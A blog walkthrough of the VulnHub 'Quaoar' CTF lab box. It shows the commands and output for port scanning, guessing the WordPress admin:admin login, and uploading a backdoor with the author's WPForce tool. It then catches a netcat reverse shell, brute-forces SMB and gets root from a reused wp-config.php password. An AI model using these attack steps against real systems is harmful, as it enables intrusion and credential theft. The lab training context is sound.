A relatively new set of VulnHub CTFs came online in March 2017.  This post is about the first and easiest one, named “Quaoar“.

This post will be a walk-through of my exploitation of this system.

The first thing I like to start off with on any box is a full TCP port scan.  When you boot up the VM, it shows you the IP it gets from DHCP.

root@kali:~# nmap 10.0.1.21 -sV -p-

Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-17 22:32 EDT
Nmap scan report for 10.0.1.21
Host is up (0.000089s latency).
Not shown: 65526 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d
MAC Address: 00:0C:29:C7:A8:C1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seeing there is a web port open, a examine it first. Viewing the source code is not particularly interesting:

<div>
<a href="Hack_The_Planet.jpg">
<img src="Quaoar.jpg" width="100%" height="100%"/>
</a>
</div>

The next thing I typically check is the robots.txt file to see if there are any interesting entries.  In this case, there were.

Disallow: Hackers
Allow: /wordpress/
____
#  /___ \_   _  __ _  ___   __ _ _ __
# //  / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |
#\___,_\ \__,_|\__,_|\___/ \__,_|_|

For good measure, I also run Nikto and Dirbuster.

root@kali:~# nikto -host http://10.0.1.21
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.21
+ Target Hostname:    10.0.1.21
+ Target Port:        80
+ Start Time:         2017-03-17 22:33:27 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 00:00:10 2016
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3
+ Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/: A WordPress installation was found.
+ 8348 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2017-03-17 22:33:41 (GMT-4) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Browsing to the WordPress site shows a pretty simple page.  Now, anytime I see a WordPress site I usually run straight to WPScan, but it this case, I just tried to guess the username and password.  It was simply “admin:admin.”

As it turns out, I had built a suite of tools for WordPress post-exploitation, and this was just the time to use them.  I went and grabbed the WPForce code off of github and ran Yertle.

root@kali:~# git clone https://github.com/n00py/WPForce.git
Cloning into 'WPForce'...
remote: Counting objects: 137, done.
remote: Compressing objects: 100% (75/75), done.
remote: Total 137 (delta 60), reused 137 (delta 60), pack-reused 0
Receiving objects: 100% (137/137), 101.64 KiB | 0 bytes/s, done.
Resolving deltas: 100% (60/60), done.
Checking connectivity... done.
root@kali:~# cd WPForce/

 

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --interactive
_..---.--.    __   __        _   _
.'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____)    | |  __/ |  | |_| |  __/
(_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
(_..)--(.._)'--'         ~n00py~
Post-exploitation Module for WordPress

Backdoor uploaded!
Upload Directory: dlerjql
os-shell> id
Sending command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I was able to then send commands to the server and have them execute.  Wanting a full shell, I used the reverse shell option and caught the shell using netcat.

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --reverse --ip 10.0.1.16 --port 8080
_..---.--.    __   __        _   _
.'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____)    | |  __/ |  | |_| |  __/
(_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
(_..)--(.._)'--'         ~n00py~
Post-exploitation Module for WordPress

Backdoor uploaded!
Upload Directory: sdzemmc
Sending reverse shell to 10.0.1.16 port 8080

 

root@kali:~/WPForce# nc -lvp 8080
listening on [any] 8080 ...
10.0.1.21: inverse host lookup failed: Unknown host
connect to [10.0.1.16] from (UNKNOWN) [10.0.1.21] 56951
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
22:40:29 up 9 min,  0 users,  load average: 0.00, 0.04, 0.04
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

While my shell waited for me, I went on to enumerate the other ports.  I ran enum4linux to enumerate information about the Samba share.

root@kali:~# enum4linux 10.0.1.21
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Mar 17 23:22:56 2017

==========================
|    Target Information    |
==========================
Target ........... 10.0.1.21
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

==========================
|    Users on 10.0.1.21    |
==========================
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody    Name: nobody    Desc:
index: 0x2 RID: 0x3e8 acb: 0x00000010 Account: viper    Name: viper    Desc:
index: 0x3 RID: 0x3ea acb: 0x00000010 Account: wpadmin    Name:     Desc:
index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: root    Name: root    Desc:

 

What I found most interesting was the user accounts. I was also able to see similar information from the /etc/passwd in my shell.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
colord:x:104:109:colord colour management daemon,,,:/var/lib/colord:/bin/false
whoopsie:x:105:112::/nonexistent:/bin/false
avahi:x:106:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
bind:x:107:117::/var/cache/bind:/bin/false
postfix:x:108:118::/var/spool/postfix:/bin/false
dovecot:x:109:120:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:110:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:111:121::/var/lib/landscape:/bin/false
libvirt-qemu:x:112:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:113:123:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:115:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
tomcat6:x:116:126::/usr/share/tomcat6:/bin/false
wpadmin:x:1001:1001::/home/wpadmin:/bin/sh

I took all the usernames that had a login shell and I brute forced them against SMB with Hydra.  This quickly told me that the password for the account wpadmin, which was “wpadmin”.  I could now SSH into the system with that account, and have a real shell.

Now at this point I had spent a couple hours trying to exploit the kernel, exploit dovecot, search for setuid binaries, find passwords in log files, look for weak permissions to no avail.  What turned out to be the privilege escalation method was quite more simple than what I had been trying.

WordPress is a PHP based web application.  It also uses a SQL server on the backend to store its data.  In order to connect to the database, it must have the password to the database.  WordPress stores that data in wp-config.php.

When we cat the wp-config.php, we see the database password:

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

 

While this password is specifically for MySQL, it could also be the password for the root user account, and in this case it was.  At this point all I had to do was “su -” and enter the password.  Done!